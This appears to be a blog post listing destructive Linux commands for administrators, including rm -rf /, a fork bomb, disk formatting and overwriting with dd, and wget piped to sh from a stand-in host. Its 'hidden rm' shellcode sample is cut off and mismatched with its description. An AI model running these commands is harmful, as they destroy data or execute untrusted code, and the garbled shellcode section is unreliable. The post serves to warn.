Dangerous Linux Commands

The Real power of Linux operating system is its command line interface, it gives you unlimited power to perform day to day administration tasks as a root user, and it won’t ask you for confirmation even you run a command that deletes your entire system. So you should be aware, what are most Dangerous Linux Commands.


So keep in mind this guide is only to increase your understanding how Linux works, you shouldn’t test this guide and run these commands on a production Linux server. In case you want to use these commands, prepare a separate tests physical or virtual machine.

Many of these commands will only be dangerous if you have a root user access on terminal or prefixed with sudo on Ubuntu Linux.

Dangerous Linux Commands

Let’s see Most Dangerous Linux Commands one by one:

1- rm -rf / – Deletes Everything!

This command deletes everything under ‘/’ root which is top level directory of Linux operating system, including hard drive data and files on removable media if attached.

Linux will run this command happily and deletes everything without giving any prompt or warning as described above. So be very careful when using it!, rm -fr command can be used in other dangerous ways also “rm -fr *” would delete your entire system if your present working directory is / (root).

2- Hidden rm –rf /

Below showing code is the hex version of “rm -fr /”. if you execute this code it would wipe out your files exactly same way as “rm -fr /” is explained above.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“cp -p /bin/sh /tmp/.beyond; chmod 4755

Be very careful before executing weird-looking command or code. Always try to understand command / code before you execute on your system. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

3- :(){ :|: & };: – Fork Bomb

This short line which is combination of commas and brackets etc.. defines a shell function that actually creates new copies of itself again and again. The process of replicating itself continues and taking up all your CPU and memory. This can freeze your computer, It’s basically a denial-of-service nature attack.

4- mkfs.ext4 /dev/sda1 – Formats a Hard Drive

This command is self-explanatory:

mkfs.ext4 – Create an ext4 file system on the following partition.

/dev/sda1 – specifying first partition on first hard disk, which might be your operating system partition.

In windows term this command can be equivalent to formatting c: drive, which can wipe out operating system and replace it with a new file system. So be very careful to run disk format commands while working on Linux command line

5- command > /dev/sda – Write Raw Data

You must be very careful to run above command, it writes the output of “command” on the block /dev/sda, which means writes raw data on /dev/sda which will replaced all the files with raw data, thus resulting in total loss of data on the block.

6- mv folder /dev/null – Move data to blackhole

By executing above command in Linux means discard all the data written on folder. In linux /dev/null or null device is a special file that discards all data written to it and reports that write operation succeed.

mv /home/BroExperts/* /dev/null

The above command simply move all data of a user BroExperts to /dev/null, which actually means everything sent to blackhole(null).

7- dd if=/dev/random of=/dev/sda – Write Random Junk

The above command will wipe out the block sda (Hard Drive) and write random junk data to the block. Of-course! Your system would be destroyed and left at unrecoverable stage.

8- wget http://example.com/something -O – | sh – Download and Execute Remote Script

This innocent “wget” most used command in day-to-day life on a Linux System, which retrieves the contents of a web URL. However, there’s a simple trick can turns this innocent command into a dangerous command.

wget http://example.com/something -O – | sh

This command will simply download contents (it might be a dangerous script), and immediately feeds it to the sh command, which executes the downloaded script in terminal.

So be very much aware of the source from where you downloading scripts or packages. Always use trusted source to download something on your Linux System.

If you would like to tell us any other such Dangerous Linux Commands and you would like us to add to the list, please tell us via comment section.

If you like this Post, please give us your valuable feedback by pressing Vote Up / Vote Down Button. Thanks.


Similar Posts